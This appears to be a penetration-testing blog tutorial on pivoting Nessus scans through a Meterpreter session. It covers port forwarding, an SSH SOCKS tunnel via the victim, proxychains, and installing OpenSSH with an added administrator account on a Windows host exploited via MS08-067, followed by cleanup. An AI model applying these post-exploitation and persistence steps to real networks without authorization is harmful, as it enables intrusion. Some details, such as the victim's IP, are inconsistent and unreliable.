  • Nessus Scanning through a Metasploit Meterpreter Session

Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network?

The Players: 

Attacker 172.16.186.132
Victim 172.16.186.126

Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.

Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example: 

meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22

This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).

Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example: 

ssh -D 127.0.0.1:9000 -p 8000 [email protected]

This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.

Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows: 

proxychains /usr/sbin/nessusd -D

Step 5 - Start the nessus client and do you scan.

Preparing for a custom command line OpenSSH Installation in your lab

The basic steps to prepare a command line OpenSSH installation for Windows are as follows:

1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download

2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH

3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.

4. Export the following registry keys using the REG EXPORT command as follows: 

REG EXPORT .HKLM\SOFTWARE\Cygnus Solutions. 1.REG
REG EXPORT .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. 2.REG
REG EXPORT .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. 3.REG

5. Concatenate all of these registry files together into one file. 

TYPE 1.REG 2.REG 3.REG >OPENSSH.REG

6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.

Performing an installation via command shell

Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.

Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.

Modifying the Registry and Adding Your Own Username

Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.

The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**

Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don.t leave a gaping opportunity while testing.

  • Cleaning up:

To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it. 

C:\> SC STOP opensshd
C:\> SC DELETE opensshd
C:\> REG DELETE .HKLM\SOFTWARE\Cygnus Solutions. /f /va
C:\> REG DELETE .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. /f /va
C:\> REG DELETE .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. /f /va

C:\> CD "\Program Files"
